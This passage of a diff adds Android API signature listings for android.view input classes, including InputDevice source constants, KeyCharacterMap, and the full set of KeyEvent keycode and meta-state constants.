+    method public int getKeyboardType();
+    method @NonNull public android.hardware.lights.LightsManager getLightsManager();
+    method public android.view.InputDevice.MotionRange getMotionRange(int);
+    method public android.view.InputDevice.MotionRange getMotionRange(int, int);
+    method public java.util.List<android.view.InputDevice.MotionRange> getMotionRanges();
+    method public String getName();
+    method public int getProductId();
+    method @NonNull public android.hardware.SensorManager getSensorManager();
+    method public int getSources();
+    method public int getVendorId();
+    method @Deprecated public android.os.Vibrator getVibrator();
+    method @NonNull public android.os.VibratorManager getVibratorManager();
+    method public boolean[] hasKeys(int...);
+    method public boolean hasMicrophone();
+    method public boolean isEnabled();
+    method public boolean isExternal();
+    method public boolean isVirtual();
+    method public boolean supportsSource(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.InputDevice> CREATOR;
+    field public static final int KEYBOARD_TYPE_ALPHABETIC = 2; // 0x2
+    field public static final int KEYBOARD_TYPE_NONE = 0; // 0x0
+    field public static final int KEYBOARD_TYPE_NON_ALPHABETIC = 1; // 0x1
+    field @Deprecated public static final int MOTION_RANGE_ORIENTATION = 8; // 0x8
+    field @Deprecated public static final int MOTION_RANGE_PRESSURE = 2; // 0x2
+    field @Deprecated public static final int MOTION_RANGE_SIZE = 3; // 0x3
+    field @Deprecated public static final int MOTION_RANGE_TOOL_MAJOR = 6; // 0x6
+    field @Deprecated public static final int MOTION_RANGE_TOOL_MINOR = 7; // 0x7
+    field @Deprecated public static final int MOTION_RANGE_TOUCH_MAJOR = 4; // 0x4
+    field @Deprecated public static final int MOTION_RANGE_TOUCH_MINOR = 5; // 0x5
+    field @Deprecated public static final int MOTION_RANGE_X = 0; // 0x0
+    field @Deprecated public static final int MOTION_RANGE_Y = 1; // 0x1
+    field public static final int SOURCE_ANY = -256; // 0xffffff00
+    field public static final int SOURCE_BLUETOOTH_STYLUS = 49154; // 0xc002
+    field public static final int SOURCE_CLASS_BUTTON = 1; // 0x1
+    field public static final int SOURCE_CLASS_JOYSTICK = 16; // 0x10
+    field public static final int SOURCE_CLASS_MASK = 255; // 0xff
+    field public static final int SOURCE_CLASS_NONE = 0; // 0x0
+    field public static final int SOURCE_CLASS_POINTER = 2; // 0x2
+    field public static final int SOURCE_CLASS_POSITION = 8; // 0x8
+    field public static final int SOURCE_CLASS_TRACKBALL = 4; // 0x4
+    field public static final int SOURCE_DPAD = 513; // 0x201
+    field public static final int SOURCE_GAMEPAD = 1025; // 0x401
+    field public static final int SOURCE_HDMI = 33554433; // 0x2000001
+    field public static final int SOURCE_JOYSTICK = 16777232; // 0x1000010
+    field public static final int SOURCE_KEYBOARD = 257; // 0x101
+    field public static final int SOURCE_MOUSE = 8194; // 0x2002
+    field public static final int SOURCE_MOUSE_RELATIVE = 131076; // 0x20004
+    field public static final int SOURCE_ROTARY_ENCODER = 4194304; // 0x400000
+    field public static final int SOURCE_SENSOR = 67108864; // 0x4000000
+    field public static final int SOURCE_STYLUS = 16386; // 0x4002
+    field public static final int SOURCE_TOUCHPAD = 1048584; // 0x100008
+    field public static final int SOURCE_TOUCHSCREEN = 4098; // 0x1002
+    field public static final int SOURCE_TOUCH_NAVIGATION = 2097152; // 0x200000
+    field public static final int SOURCE_TRACKBALL = 65540; // 0x10004
+    field public static final int SOURCE_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class InputDevice.MotionRange {
+    method public int getAxis();
+    method public float getFlat();
+    method public float getFuzz();
+    method public float getMax();
+    method public float getMin();
+    method public float getRange();
+    method public float getResolution();
+    method public int getSource();
+    method public boolean isFromSource(int);
+  }
+
+  public abstract class InputEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method public final android.view.InputDevice getDevice();
+    method public abstract int getDeviceId();
+    method public abstract long getEventTime();
+    method public abstract int getSource();
+    method public boolean isFromSource(int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.InputEvent> CREATOR;
+  }
+
+  public final class InputQueue {
+  }
+
+  public static interface InputQueue.Callback {
+    method public void onInputQueueCreated(android.view.InputQueue);
+    method public void onInputQueueDestroyed(android.view.InputQueue);
+  }
+
+  public class KeyCharacterMap implements android.os.Parcelable {
+    method public int describeContents();
+    method public static boolean deviceHasKey(int);
+    method public static boolean[] deviceHasKeys(int[]);
+    method public int get(int, int);
+    method public static int getDeadChar(int, int);
+    method public char getDisplayLabel(int);
+    method public android.view.KeyEvent[] getEvents(char[]);
+    method @Deprecated public boolean getKeyData(int, android.view.KeyCharacterMap.KeyData);
+    method public int getKeyboardType();
+    method public char getMatch(int, char[]);
+    method public char getMatch(int, char[], int);
+    method public int getModifierBehavior();
+    method public char getNumber(int);
+    method public boolean isPrintingKey(int);
+    method public static android.view.KeyCharacterMap load(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ALPHA = 3; // 0x3
+    field @Deprecated public static final int BUILT_IN_KEYBOARD = 0; // 0x0
+    field public static final int COMBINING_ACCENT = -2147483648; // 0x80000000
+    field public static final int COMBINING_ACCENT_MASK = 2147483647; // 0x7fffffff
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.KeyCharacterMap> CREATOR;
+    field public static final int FULL = 4; // 0x4
+    field public static final char HEX_INPUT = 61184; // 0xef00 '\uef00'
+    field public static final int MODIFIER_BEHAVIOR_CHORDED = 0; // 0x0
+    field public static final int MODIFIER_BEHAVIOR_CHORDED_OR_TOGGLED = 1; // 0x1
+    field public static final int NUMERIC = 1; // 0x1
+    field public static final char PICKER_DIALOG_INPUT = 61185; // 0xef01 '\uef01'
+    field public static final int PREDICTIVE = 2; // 0x2
+    field public static final int SPECIAL_FUNCTION = 5; // 0x5
+    field public static final int VIRTUAL_KEYBOARD = -1; // 0xffffffff
+  }
+
+  @Deprecated public static class KeyCharacterMap.KeyData {
+    ctor @Deprecated public KeyCharacterMap.KeyData();
+    field @Deprecated public static final int META_LENGTH = 4; // 0x4
+    field @Deprecated public char displayLabel;
+    field @Deprecated public char[] meta;
+    field @Deprecated public char number;
+  }
+
+  public static class KeyCharacterMap.UnavailableException extends android.util.AndroidRuntimeException {
+    ctor public KeyCharacterMap.UnavailableException(String);
+  }
+
+  public class KeyEvent extends android.view.InputEvent implements android.os.Parcelable {
+    ctor public KeyEvent(int, int);
+    ctor public KeyEvent(long, long, int, int, int);
+    ctor public KeyEvent(long, long, int, int, int, int);
+    ctor public KeyEvent(long, long, int, int, int, int, int, int);
+    ctor public KeyEvent(long, long, int, int, int, int, int, int, int);
+    ctor public KeyEvent(long, long, int, int, int, int, int, int, int, int);
+    ctor public KeyEvent(long, String, int, int);
+    ctor public KeyEvent(android.view.KeyEvent);
+    ctor @Deprecated public KeyEvent(android.view.KeyEvent, long, int);
+    method public static android.view.KeyEvent changeAction(android.view.KeyEvent, int);
+    method public static android.view.KeyEvent changeFlags(android.view.KeyEvent, int);
+    method public static android.view.KeyEvent changeTimeRepeat(android.view.KeyEvent, long, int);
+    method public static android.view.KeyEvent changeTimeRepeat(android.view.KeyEvent, long, int, int);
+    method @Deprecated public final boolean dispatch(android.view.KeyEvent.Callback);
+    method public final boolean dispatch(android.view.KeyEvent.Callback, android.view.KeyEvent.DispatcherState, Object);
+    method public final int getAction();
+    method @Deprecated public final String getCharacters();
+    method public static int getDeadChar(int, int);
+    method public final int getDeviceId();
+    method public char getDisplayLabel();
+    method public final long getDownTime();
+    method public final long getEventTime();
+    method public final int getFlags();
+    method public final android.view.KeyCharacterMap getKeyCharacterMap();
+    method public final int getKeyCode();
+    method @Deprecated public boolean getKeyData(android.view.KeyCharacterMap.KeyData);
+    method public char getMatch(char[]);
+    method public char getMatch(char[], int);
+    method public static int getMaxKeyCode();
+    method public final int getMetaState();
+    method public static int getModifierMetaStateMask();
+    method public final int getModifiers();
+    method public char getNumber();
+    method public final int getRepeatCount();
+    method public final int getScanCode();
+    method public final int getSource();
+    method public int getUnicodeChar();
+    method public int getUnicodeChar(int);
+    method public final boolean hasModifiers(int);
+    method public final boolean hasNoModifiers();
+    method public final boolean isAltPressed();
+    method public final boolean isCanceled();
+    method public final boolean isCapsLockOn();
+    method public final boolean isCtrlPressed();
+    method public final boolean isFunctionPressed();
+    method public static final boolean isGamepadButton(int);
+    method public final boolean isLongPress();
+    method public static final boolean isMediaSessionKey(int);
+    method public final boolean isMetaPressed();
+    method public static boolean isModifierKey(int);
+    method public final boolean isNumLockOn();
+    method public boolean isPrintingKey();
+    method public final boolean isScrollLockOn();
+    method public final boolean isShiftPressed();
+    method public final boolean isSymPressed();
+    method public final boolean isSystem();
+    method public final boolean isTracking();
+    method public static int keyCodeFromString(@NonNull String);
+    method public static String keyCodeToString(int);
+    method public static boolean metaStateHasModifiers(int, int);
+    method public static boolean metaStateHasNoModifiers(int);
+    method public static int normalizeMetaState(int);
+    method public final void setSource(int);
+    method public final void startTracking();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ACTION_DOWN = 0; // 0x0
+    field @Deprecated public static final int ACTION_MULTIPLE = 2; // 0x2
+    field public static final int ACTION_UP = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.KeyEvent> CREATOR;
+    field public static final int FLAG_CANCELED = 32; // 0x20
+    field public static final int FLAG_CANCELED_LONG_PRESS = 256; // 0x100
+    field public static final int FLAG_EDITOR_ACTION = 16; // 0x10
+    field public static final int FLAG_FALLBACK = 1024; // 0x400
+    field public static final int FLAG_FROM_SYSTEM = 8; // 0x8
+    field public static final int FLAG_KEEP_TOUCH_MODE = 4; // 0x4
+    field public static final int FLAG_LONG_PRESS = 128; // 0x80
+    field public static final int FLAG_SOFT_KEYBOARD = 2; // 0x2
+    field public static final int FLAG_TRACKING = 512; // 0x200
+    field public static final int FLAG_VIRTUAL_HARD_KEY = 64; // 0x40
+    field @Deprecated public static final int FLAG_WOKE_HERE = 1; // 0x1
+    field public static final int KEYCODE_0 = 7; // 0x7
+    field public static final int KEYCODE_1 = 8; // 0x8
+    field public static final int KEYCODE_11 = 227; // 0xe3
+    field public static final int KEYCODE_12 = 228; // 0xe4
+    field public static final int KEYCODE_2 = 9; // 0x9
+    field public static final int KEYCODE_3 = 10; // 0xa
+    field public static final int KEYCODE_3D_MODE = 206; // 0xce
+    field public static final int KEYCODE_4 = 11; // 0xb
+    field public static final int KEYCODE_5 = 12; // 0xc
+    field public static final int KEYCODE_6 = 13; // 0xd
+    field public static final int KEYCODE_7 = 14; // 0xe
+    field public static final int KEYCODE_8 = 15; // 0xf
+    field public static final int KEYCODE_9 = 16; // 0x10
+    field public static final int KEYCODE_A = 29; // 0x1d
+    field public static final int KEYCODE_ALL_APPS = 284; // 0x11c
+    field public static final int KEYCODE_ALT_LEFT = 57; // 0x39
+    field public static final int KEYCODE_ALT_RIGHT = 58; // 0x3a
+    field public static final int KEYCODE_APOSTROPHE = 75; // 0x4b
+    field public static final int KEYCODE_APP_SWITCH = 187; // 0xbb
+    field public static final int KEYCODE_ASSIST = 219; // 0xdb
+    field public static final int KEYCODE_AT = 77; // 0x4d
+    field public static final int KEYCODE_AVR_INPUT = 182; // 0xb6
+    field public static final int KEYCODE_AVR_POWER = 181; // 0xb5
+    field public static final int KEYCODE_B = 30; // 0x1e
+    field public static final int KEYCODE_BACK = 4; // 0x4
+    field public static final int KEYCODE_BACKSLASH = 73; // 0x49
+    field public static final int KEYCODE_BOOKMARK = 174; // 0xae
+    field public static final int KEYCODE_BREAK = 121; // 0x79
+    field public static final int KEYCODE_BRIGHTNESS_DOWN = 220; // 0xdc
+    field public static final int KEYCODE_BRIGHTNESS_UP = 221; // 0xdd
+    field public static final int KEYCODE_BUTTON_1 = 188; // 0xbc
+    field public static final int KEYCODE_BUTTON_10 = 197; // 0xc5
+    field public static final int KEYCODE_BUTTON_11 = 198; // 0xc6
+    field public static final int KEYCODE_BUTTON_12 = 199; // 0xc7
+    field public static final int KEYCODE_BUTTON_13 = 200; // 0xc8
+    field public static final int KEYCODE_BUTTON_14 = 201; // 0xc9
+    field public static final int KEYCODE_BUTTON_15 = 202; // 0xca
+    field public static final int KEYCODE_BUTTON_16 = 203; // 0xcb
+    field public static final int KEYCODE_BUTTON_2 = 189; // 0xbd
+    field public static final int KEYCODE_BUTTON_3 = 190; // 0xbe
+    field public static final int KEYCODE_BUTTON_4 = 191; // 0xbf
+    field public static final int KEYCODE_BUTTON_5 = 192; // 0xc0
+    field public static final int KEYCODE_BUTTON_6 = 193; // 0xc1
+    field public static final int KEYCODE_BUTTON_7 = 194; // 0xc2
+    field public static final int KEYCODE_BUTTON_8 = 195; // 0xc3
+    field public static final int KEYCODE_BUTTON_9 = 196; // 0xc4
+    field public static final int KEYCODE_BUTTON_A = 96; // 0x60
+    field public static final int KEYCODE_BUTTON_B = 97; // 0x61
+    field public static final int KEYCODE_BUTTON_C = 98; // 0x62
+    field public static final int KEYCODE_BUTTON_L1 = 102; // 0x66
+    field public static final int KEYCODE_BUTTON_L2 = 104; // 0x68
+    field public static final int KEYCODE_BUTTON_MODE = 110; // 0x6e
+    field public static final int KEYCODE_BUTTON_R1 = 103; // 0x67
+    field public static final int KEYCODE_BUTTON_R2 = 105; // 0x69
+    field public static final int KEYCODE_BUTTON_SELECT = 109; // 0x6d
+    field public static final int KEYCODE_BUTTON_START = 108; // 0x6c
+    field public static final int KEYCODE_BUTTON_THUMBL = 106; // 0x6a
+    field public static final int KEYCODE_BUTTON_THUMBR = 107; // 0x6b
+    field public static final int KEYCODE_BUTTON_X = 99; // 0x63
+    field public static final int KEYCODE_BUTTON_Y = 100; // 0x64
+    field public static final int KEYCODE_BUTTON_Z = 101; // 0x65
+    field public static final int KEYCODE_C = 31; // 0x1f
+    field public static final int KEYCODE_CALCULATOR = 210; // 0xd2
+    field public static final int KEYCODE_CALENDAR = 208; // 0xd0
+    field public static final int KEYCODE_CALL = 5; // 0x5
+    field public static final int KEYCODE_CAMERA = 27; // 0x1b
+    field public static final int KEYCODE_CAPS_LOCK = 115; // 0x73
+    field public static final int KEYCODE_CAPTIONS = 175; // 0xaf
+    field public static final int KEYCODE_CHANNEL_DOWN = 167; // 0xa7
+    field public static final int KEYCODE_CHANNEL_UP = 166; // 0xa6
+    field public static final int KEYCODE_CLEAR = 28; // 0x1c
+    field public static final int KEYCODE_COMMA = 55; // 0x37
+    field public static final int KEYCODE_CONTACTS = 207; // 0xcf
+    field public static final int KEYCODE_COPY = 278; // 0x116
+    field public static final int KEYCODE_CTRL_LEFT = 113; // 0x71
+    field public static final int KEYCODE_CTRL_RIGHT = 114; // 0x72
+    field public static final int KEYCODE_CUT = 277; // 0x115
+    field public static final int KEYCODE_D = 32; // 0x20
+    field public static final int KEYCODE_DEL = 67; // 0x43
+    field public static final int KEYCODE_DPAD_CENTER = 23; // 0x17
+    field public static final int KEYCODE_DPAD_DOWN = 20; // 0x14
+    field public static final int KEYCODE_DPAD_DOWN_LEFT = 269; // 0x10d
+    field public static final int KEYCODE_DPAD_DOWN_RIGHT = 271; // 0x10f
+    field public static final int KEYCODE_DPAD_LEFT = 21; // 0x15
+    field public static final int KEYCODE_DPAD_RIGHT = 22; // 0x16
+    field public static final int KEYCODE_DPAD_UP = 19; // 0x13
+    field public static final int KEYCODE_DPAD_UP_LEFT = 268; // 0x10c
+    field public static final int KEYCODE_DPAD_UP_RIGHT = 270; // 0x10e
+    field public static final int KEYCODE_DVR = 173; // 0xad
+    field public static final int KEYCODE_E = 33; // 0x21
+    field public static final int KEYCODE_EISU = 212; // 0xd4
+    field public static final int KEYCODE_ENDCALL = 6; // 0x6
+    field public static final int KEYCODE_ENTER = 66; // 0x42
+    field public static final int KEYCODE_ENVELOPE = 65; // 0x41
+    field public static final int KEYCODE_EQUALS = 70; // 0x46
+    field public static final int KEYCODE_ESCAPE = 111; // 0x6f
+    field public static final int KEYCODE_EXPLORER = 64; // 0x40
+    field public static final int KEYCODE_F = 34; // 0x22
+    field public static final int KEYCODE_F1 = 131; // 0x83
+    field public static final int KEYCODE_F10 = 140; // 0x8c
+    field public static final int KEYCODE_F11 = 141; // 0x8d
+    field public static final int KEYCODE_F12 = 142; // 0x8e
+    field public static final int KEYCODE_F2 = 132; // 0x84
+    field public static final int KEYCODE_F3 = 133; // 0x85
+    field public static final int KEYCODE_F4 = 134; // 0x86
+    field public static final int KEYCODE_F5 = 135; // 0x87
+    field public static final int KEYCODE_F6 = 136; // 0x88
+    field public static final int KEYCODE_F7 = 137; // 0x89
+    field public static final int KEYCODE_F8 = 138; // 0x8a
+    field public static final int KEYCODE_F9 = 139; // 0x8b
+    field public static final int KEYCODE_FOCUS = 80; // 0x50
+    field public static final int KEYCODE_FORWARD = 125; // 0x7d
+    field public static final int KEYCODE_FORWARD_DEL = 112; // 0x70
+    field public static final int KEYCODE_FUNCTION = 119; // 0x77
+    field public static final int KEYCODE_G = 35; // 0x23
+    field public static final int KEYCODE_GRAVE = 68; // 0x44
+    field public static final int KEYCODE_GUIDE = 172; // 0xac
+    field public static final int KEYCODE_H = 36; // 0x24
+    field public static final int KEYCODE_HEADSETHOOK = 79; // 0x4f
+    field public static final int KEYCODE_HELP = 259; // 0x103
+    field public static final int KEYCODE_HENKAN = 214; // 0xd6
+    field public static final int KEYCODE_HOME = 3; // 0x3
+    field public static final int KEYCODE_I = 37; // 0x25
+    field public static final int KEYCODE_INFO = 165; // 0xa5
+    field public static final int KEYCODE_INSERT = 124; // 0x7c
+    field public static final int KEYCODE_J = 38; // 0x26
+    field public static final int KEYCODE_K = 39; // 0x27
+    field public static final int KEYCODE_KANA = 218; // 0xda
+    field public static final int KEYCODE_KATAKANA_HIRAGANA = 215; // 0xd7
+    field public static final int KEYCODE_L = 40; // 0x28
+    field public static final int KEYCODE_LANGUAGE_SWITCH = 204; // 0xcc
+    field public static final int KEYCODE_LAST_CHANNEL = 229; // 0xe5
+    field public static final int KEYCODE_LEFT_BRACKET = 71; // 0x47
+    field public static final int KEYCODE_M = 41; // 0x29
+    field public static final int KEYCODE_MANNER_MODE = 205; // 0xcd
+    field public static final int KEYCODE_MEDIA_AUDIO_TRACK = 222; // 0xde
+    field public static final int KEYCODE_MEDIA_CLOSE = 128; // 0x80
+    field public static final int KEYCODE_MEDIA_EJECT = 129; // 0x81
+    field public static final int KEYCODE_MEDIA_FAST_FORWARD = 90; // 0x5a
+    field public static final int KEYCODE_MEDIA_NEXT = 87; // 0x57
+    field public static final int KEYCODE_MEDIA_PAUSE = 127; // 0x7f
+    field public static final int KEYCODE_MEDIA_PLAY = 126; // 0x7e
+    field public static final int KEYCODE_MEDIA_PLAY_PAUSE = 85; // 0x55
+    field public static final int KEYCODE_MEDIA_PREVIOUS = 88; // 0x58
+    field public static final int KEYCODE_MEDIA_RECORD = 130; // 0x82
+    field public static final int KEYCODE_MEDIA_REWIND = 89; // 0x59
+    field public static final int KEYCODE_MEDIA_SKIP_BACKWARD = 273; // 0x111
+    field public static final int KEYCODE_MEDIA_SKIP_FORWARD = 272; // 0x110
+    field public static final int KEYCODE_MEDIA_STEP_BACKWARD = 275; // 0x113
+    field public static final int KEYCODE_MEDIA_STEP_FORWARD = 274; // 0x112
+    field public static final int KEYCODE_MEDIA_STOP = 86; // 0x56
+    field public static final int KEYCODE_MEDIA_TOP_MENU = 226; // 0xe2
+    field public static final int KEYCODE_MENU = 82; // 0x52
+    field public static final int KEYCODE_META_LEFT = 117; // 0x75
+    field public static final int KEYCODE_META_RIGHT = 118; // 0x76
+    field public static final int KEYCODE_MINUS = 69; // 0x45
+    field public static final int KEYCODE_MOVE_END = 123; // 0x7b
+    field public static final int KEYCODE_MOVE_HOME = 122; // 0x7a
+    field public static final int KEYCODE_MUHENKAN = 213; // 0xd5
+    field public static final int KEYCODE_MUSIC = 209; // 0xd1
+    field public static final int KEYCODE_MUTE = 91; // 0x5b
+    field public static final int KEYCODE_N = 42; // 0x2a
+    field public static final int KEYCODE_NAVIGATE_IN = 262; // 0x106
+    field public static final int KEYCODE_NAVIGATE_NEXT = 261; // 0x105
+    field public static final int KEYCODE_NAVIGATE_OUT = 263; // 0x107
+    field public static final int KEYCODE_NAVIGATE_PREVIOUS = 260; // 0x104
+    field public static final int KEYCODE_NOTIFICATION = 83; // 0x53
+    field public static final int KEYCODE_NUM = 78; // 0x4e
+    field public static final int KEYCODE_NUMPAD_0 = 144; // 0x90
+    field public static final int KEYCODE_NUMPAD_1 = 145; // 0x91
+    field public static final int KEYCODE_NUMPAD_2 = 146; // 0x92
+    field public static final int KEYCODE_NUMPAD_3 = 147; // 0x93
+    field public static final int KEYCODE_NUMPAD_4 = 148; // 0x94
+    field public static final int KEYCODE_NUMPAD_5 = 149; // 0x95
+    field public static final int KEYCODE_NUMPAD_6 = 150; // 0x96
+    field public static final int KEYCODE_NUMPAD_7 = 151; // 0x97
+    field public static final int KEYCODE_NUMPAD_8 = 152; // 0x98
+    field public static final int KEYCODE_NUMPAD_9 = 153; // 0x99
+    field public static final int KEYCODE_NUMPAD_ADD = 157; // 0x9d
+    field public static final int KEYCODE_NUMPAD_COMMA = 159; // 0x9f
+    field public static final int KEYCODE_NUMPAD_DIVIDE = 154; // 0x9a
+    field public static final int KEYCODE_NUMPAD_DOT = 158; // 0x9e
+    field public static final int KEYCODE_NUMPAD_ENTER = 160; // 0xa0
+    field public static final int KEYCODE_NUMPAD_EQUALS = 161; // 0xa1
+    field public static final int KEYCODE_NUMPAD_LEFT_PAREN = 162; // 0xa2
+    field public static final int KEYCODE_NUMPAD_MULTIPLY = 155; // 0x9b
+    field public static final int KEYCODE_NUMPAD_RIGHT_PAREN = 163; // 0xa3
+    field public static final int KEYCODE_NUMPAD_SUBTRACT = 156; // 0x9c
+    field public static final int KEYCODE_NUM_LOCK = 143; // 0x8f
+    field public static final int KEYCODE_O = 43; // 0x2b
+    field public static final int KEYCODE_P = 44; // 0x2c
+    field public static final int KEYCODE_PAGE_DOWN = 93; // 0x5d
+    field public static final int KEYCODE_PAGE_UP = 92; // 0x5c
+    field public static final int KEYCODE_PAIRING = 225; // 0xe1
+    field public static final int KEYCODE_PASTE = 279; // 0x117
+    field public static final int KEYCODE_PERIOD = 56; // 0x38
+    field public static final int KEYCODE_PICTSYMBOLS = 94; // 0x5e
+    field public static final int KEYCODE_PLUS = 81; // 0x51
+    field public static final int KEYCODE_POUND = 18; // 0x12
+    field public static final int KEYCODE_POWER = 26; // 0x1a
+    field public static final int KEYCODE_PROFILE_SWITCH = 288; // 0x120
+    field public static final int KEYCODE_PROG_BLUE = 186; // 0xba
+    field public static final int KEYCODE_PROG_GREEN = 184; // 0xb8
+    field public static final int KEYCODE_PROG_RED = 183; // 0xb7
+    field public static final int KEYCODE_PROG_YELLOW = 185; // 0xb9
+    field public static final int KEYCODE_Q = 45; // 0x2d
+    field public static final int KEYCODE_R = 46; // 0x2e
+    field public static final int KEYCODE_REFRESH = 285; // 0x11d
+    field public static final int KEYCODE_RIGHT_BRACKET = 72; // 0x48
+    field public static final int KEYCODE_RO = 217; // 0xd9
+    field public static final int KEYCODE_S = 47; // 0x2f
+    field public static final int KEYCODE_SCROLL_LOCK = 116; // 0x74
+    field public static final int KEYCODE_SEARCH = 84; // 0x54
+    field public static final int KEYCODE_SEMICOLON = 74; // 0x4a
+    field public static final int KEYCODE_SETTINGS = 176; // 0xb0
+    field public static final int KEYCODE_SHIFT_LEFT = 59; // 0x3b
+    field public static final int KEYCODE_SHIFT_RIGHT = 60; // 0x3c
+    field public static final int KEYCODE_SLASH = 76; // 0x4c
+    field public static final int KEYCODE_SLEEP = 223; // 0xdf
+    field public static final int KEYCODE_SOFT_LEFT = 1; // 0x1
+    field public static final int KEYCODE_SOFT_RIGHT = 2; // 0x2
+    field public static final int KEYCODE_SOFT_SLEEP = 276; // 0x114
+    field public static final int KEYCODE_SPACE = 62; // 0x3e
+    field public static final int KEYCODE_STAR = 17; // 0x11
+    field public static final int KEYCODE_STB_INPUT = 180; // 0xb4
+    field public static final int KEYCODE_STB_POWER = 179; // 0xb3
+    field public static final int KEYCODE_STEM_1 = 265; // 0x109
+    field public static final int KEYCODE_STEM_2 = 266; // 0x10a
+    field public static final int KEYCODE_STEM_3 = 267; // 0x10b
+    field public static final int KEYCODE_STEM_PRIMARY = 264; // 0x108
+    field public static final int KEYCODE_SWITCH_CHARSET = 95; // 0x5f
+    field public static final int KEYCODE_SYM = 63; // 0x3f
+    field public static final int KEYCODE_SYSRQ = 120; // 0x78
+    field public static final int KEYCODE_SYSTEM_NAVIGATION_DOWN = 281; // 0x119
+    field public static final int KEYCODE_SYSTEM_NAVIGATION_LEFT = 282; // 0x11a
+    field public static final int KEYCODE_SYSTEM_NAVIGATION_RIGHT = 283; // 0x11b
+    field public static final int KEYCODE_SYSTEM_NAVIGATION_UP = 280; // 0x118
+    field public static final int KEYCODE_T = 48; // 0x30
+    field public static final int KEYCODE_TAB = 61; // 0x3d
+    field public static final int KEYCODE_THUMBS_DOWN = 287; // 0x11f
+    field public static final int KEYCODE_THUMBS_UP = 286; // 0x11e
+    field public static final int KEYCODE_TV = 170; // 0xaa
+    field public static final int KEYCODE_TV_ANTENNA_CABLE = 242; // 0xf2
+    field public static final int KEYCODE_TV_AUDIO_DESCRIPTION = 252; // 0xfc
+    field public static final int KEYCODE_TV_AUDIO_DESCRIPTION_MIX_DOWN = 254; // 0xfe
+    field public static final int KEYCODE_TV_AUDIO_DESCRIPTION_MIX_UP = 253; // 0xfd
+    field public static final int KEYCODE_TV_CONTENTS_MENU = 256; // 0x100
+    field public static final int KEYCODE_TV_DATA_SERVICE = 230; // 0xe6
+    field public static final int KEYCODE_TV_INPUT = 178; // 0xb2
+    field public static final int KEYCODE_TV_INPUT_COMPONENT_1 = 249; // 0xf9
+    field public static final int KEYCODE_TV_INPUT_COMPONENT_2 = 250; // 0xfa
+    field public static final int KEYCODE_TV_INPUT_COMPOSITE_1 = 247; // 0xf7
+    field public static final int KEYCODE_TV_INPUT_COMPOSITE_2 = 248; // 0xf8
+    field public static final int KEYCODE_TV_INPUT_HDMI_1 = 243; // 0xf3
+    field public static final int KEYCODE_TV_INPUT_HDMI_2 = 244; // 0xf4
+    field public static final int KEYCODE_TV_INPUT_HDMI_3 = 245; // 0xf5
+    field public static final int KEYCODE_TV_INPUT_HDMI_4 = 246; // 0xf6
+    field public static final int KEYCODE_TV_INPUT_VGA_1 = 251; // 0xfb
+    field public static final int KEYCODE_TV_MEDIA_CONTEXT_MENU = 257; // 0x101
+    field public static final int KEYCODE_TV_NETWORK = 241; // 0xf1
+    field public static final int KEYCODE_TV_NUMBER_ENTRY = 234; // 0xea
+    field public static final int KEYCODE_TV_POWER = 177; // 0xb1
+    field public static final int KEYCODE_TV_RADIO_SERVICE = 232; // 0xe8
+    field public static final int KEYCODE_TV_SATELLITE = 237; // 0xed
+    field public static final int KEYCODE_TV_SATELLITE_BS = 238; // 0xee
+    field public static final int KEYCODE_TV_SATELLITE_CS = 239; // 0xef
+    field public static final int KEYCODE_TV_SATELLITE_SERVICE = 240; // 0xf0
+    field public static final int KEYCODE_TV_TELETEXT = 233; // 0xe9
+    field public static final int KEYCODE_TV_TERRESTRIAL_ANALOG = 235; // 0xeb
+    field public static final int KEYCODE_TV_TERRESTRIAL_DIGITAL = 236; // 0xec
+    field public static final int KEYCODE_TV_TIMER_PROGRAMMING = 258; // 0x102
+    field public static final int KEYCODE_TV_ZOOM_MODE = 255; // 0xff
+    field public static final int KEYCODE_U = 49; // 0x31
+    field public static final int KEYCODE_UNKNOWN = 0; // 0x0
+    field public static final int KEYCODE_V = 50; // 0x32
+    field public static final int KEYCODE_VOICE_ASSIST = 231; // 0xe7
+    field public static final int KEYCODE_VOLUME_DOWN = 25; // 0x19
+    field public static final int KEYCODE_VOLUME_MUTE = 164; // 0xa4
+    field public static final int KEYCODE_VOLUME_UP = 24; // 0x18
+    field public static final int KEYCODE_W = 51; // 0x33
+    field public static final int KEYCODE_WAKEUP = 224; // 0xe0
+    field public static final int KEYCODE_WINDOW = 171; // 0xab
+    field public static final int KEYCODE_X = 52; // 0x34
+    field public static final int KEYCODE_Y = 53; // 0x35
+    field public static final int KEYCODE_YEN = 216; // 0xd8
+    field public static final int KEYCODE_Z = 54; // 0x36
+    field public static final int KEYCODE_ZENKAKU_HANKAKU = 211; // 0xd3
+    field public static final int KEYCODE_ZOOM_IN = 168; // 0xa8
+    field public static final int KEYCODE_ZOOM_OUT = 169; // 0xa9
+    field @Deprecated public static final int MAX_KEYCODE = 84; // 0x54
+    field public static final int META_ALT_LEFT_ON = 16; // 0x10
+    field public static final int META_ALT_MASK = 50; // 0x32
+    field public static final int META_ALT_ON = 2; // 0x2
+    field public static final int META_ALT_RIGHT_ON = 32; // 0x20
+    field public static final int META_CAPS_LOCK_ON = 1048576; // 0x100000
+    field public static final int META_CTRL_LEFT_ON = 8192; // 0x2000
+    field public static final int META_CTRL_MASK = 28672; // 0x7000
+    field public static final int META_CTRL_ON = 4096; // 0x1000
+    field public static final int META_CTRL_RIGHT_ON = 16384; // 0x4000
+    field public static final int META_FUNCTION_ON = 8; // 0x8
+    field public static final int META_META_LEFT_ON = 131072; // 0x20000
+    field public static final int META_META_MASK = 458752; // 0x70000
+    field public static final int META_META_ON = 65536; // 0x10000
+    field public static final int META_META_RIGHT_ON = 262144; // 0x40000
+    field public static final int META_NUM_LOCK_ON = 2097152; // 0x200000
+    field public static final int META_SCROLL_LOCK_ON = 4194304; // 0x400000
+    field public static final int META_SHIFT_LEFT_ON = 64; // 0x40
+    field public static final int META_SHIFT_MASK = 193; // 0xc1
+    field public static final int META_SHIFT_ON = 1; // 0x1
+    field public static final int META_SHIFT_RIGHT_ON = 128; // 0x80
+    field public static final int META_SYM_ON = 4; // 0x4
+  }
+
+  public static interface KeyEvent.Callback {
